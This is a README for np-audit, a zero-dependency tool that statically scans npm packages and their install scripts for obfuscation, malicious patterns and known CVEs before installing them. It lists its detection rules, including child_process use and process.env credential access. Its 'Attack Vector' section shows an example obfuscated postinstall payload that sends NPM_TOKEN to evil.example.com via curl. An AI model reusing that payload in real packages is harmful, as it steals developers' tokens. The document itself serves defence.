np-audit

May 23, 2026 · View on GitHub

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm package auditor

Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns before they run. Drop-in replacement for npm install and npm ci.

Zero dependencies. Pure Node.js built-ins only. < 100 kB on the wire.

npx np-audit scan express
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

Detection is split into modular marshallers — each one detects a single attack signal:

MarshallerWhat it detectsScore
eval/dynamic-execeval(), new Function(), indirect eval, vm.*, setTimeout with string8
obfuscator.io_0x variable naming patterns (obfuscator.io output)9–80
high-entropy-stringLong strings or concatenation chains with high Shannon entropy6
hex-escape-densityDense \xNN and \uXXXX escape sequences5–50
fromCharCodeString.fromCharCode with many args, large decimal char-code arrays7
encoded-decodeBase64/hex decode (atob, Buffer.from) optionally combined with eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayLarge numbers of 0x hex literal values7–60
process-envprocess.env access (credential exfiltration signal)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (backdoor persistence)3–4
runtime-downloadDownloads and executes external runtimes (Bun, Deno)9–50
vscode-autorunVS Code tasks with runOn: folderOpen (auto-execution)30
known-vulnerabilityKnown CVEs via Snyk API or OSV.dev4–6 (WARN), 80 (malicious)

Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.

See CONTRIBUTING.md for how to write custom marshallers.


Vulnerability Scanning (CVE)

Every scanned package is checked against known vulnerability databases alongside the code analysis.

Default: OSV.dev (no setup required)

Works out of the box — queries the free OSV.dev API for known vulnerabilities and malicious package advisories.

Optional: Snyk API (richer data)

# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Token resolution order: SNYK_API_TOKENSNYK_TOKEN~/.config/configstore/snyk.json

SeverityScoreVerdict
Malicious package80DANGER
10+ vulnerabilities6WARN
5–9 vulnerabilities5WARN
1–4 vulnerabilities4WARN

Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.


Usage

Commands

CommandAliasDescription
npa install [package]npa iAudit then run npm install
npa ciAudit then run npm ci
npa scan [package]npa sScan only, no install
npa config getnpa c getShow current configuration
npa config set <key> <value>npa c setUpdate a config value
npa alias --installInstall shell alias
npa alias --uninstallRemove shell alias

Any unrecognized command is forwarded to npm (e.g. npa run test, npa publish).

Flags

FlagAliasWorks withDescription
--review-rinstall, ciInteractive mode — choose which scripts to allow
--jsoninstall, ci, scanMachine-readable JSON output
--no-devinstall, ci, scanSkip devDependencies
--verboseallShow fetch progress and extra detail
--version-vPrint version and exit
--help-hPrint help and exit

Interactive --review mode

npa install --review
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] esbuild@0.24.2       postinstall: post-install.js     OK
   ▶ [✗ deny ] evil-sdk@1.0.0       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/pkg@2.1.0     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuration

Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json.

npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

All config keys

KeyDefaultDescription
blockScore7Score threshold for DANGER (exit 1)
warnScore4Score threshold for WARN (exit 0)
registryhttps://registry.npmjs.orgnpm registry URL
timeout30000HTTP request timeout (ms)
parallelFetches5Concurrent downloads
skipScopes[]@scope prefixes to skip
skipPackages[]Package names to skip
silentfalseSuppress output when no issues found
scanSelftrueScan own project lifecycle scripts
maxTarballSize50MBMax unpacked tarball size (bomb protection)
checkVulnerabilitiestrueCheck packages against CVE databases
deepResolvefalseResolve full transitive dependency tree
disabledMarshallers[]Marshaller names to skip during scanning

Disabling marshallers

You can disable specific detection checks by adding their names to disabledMarshallers:

npa config set disabledMarshallers '["process-env", "network-call"]'

To see all available marshaller names and their current status:

npa config marshallers

This is useful when a marshaller produces false positives for your workflow. Disabled marshallers are skipped entirely during both static code analysis and package-level checks.


Shell Alias

Use npa as a transparent npm replacement:

npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Now npm install, npm ci scan automatically. All other npm commands (npm run, npm test, npm publish) pass through unchanged.

npa alias --uninstall   # remove the alias

How It Works

  1. Parse package-lock.json (v1/v2/v3) or resolve from package.json
  2. Fetch tarballs from registry (or read from node_modules)
  3. Parse lifecycle commands — splits &&/||/;/|, handles node -e, sh -c, shell scripts
  4. Walk the require()/import graph from each entry (cycle detection, 50 file / 5 MB cap)
  5. Analyze with all marshallers — static code checks + CVE database queries
  6. Score and classify: DANGER / WARN / OK
  7. Report or proceed with install

The Attack Vector

Supply chain attacks abuse npm lifecycle scripts. When you run npm install, any preinstall/install/postinstall script runs automatically. Attackers hide payloads behind obfuscation:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Real-world incidents:

npa never executes scripts. It downloads and statically analyzes them.


Exit Codes

CodeMeaning
0All clean or only warnings
1One or more packages blocked

License

MIT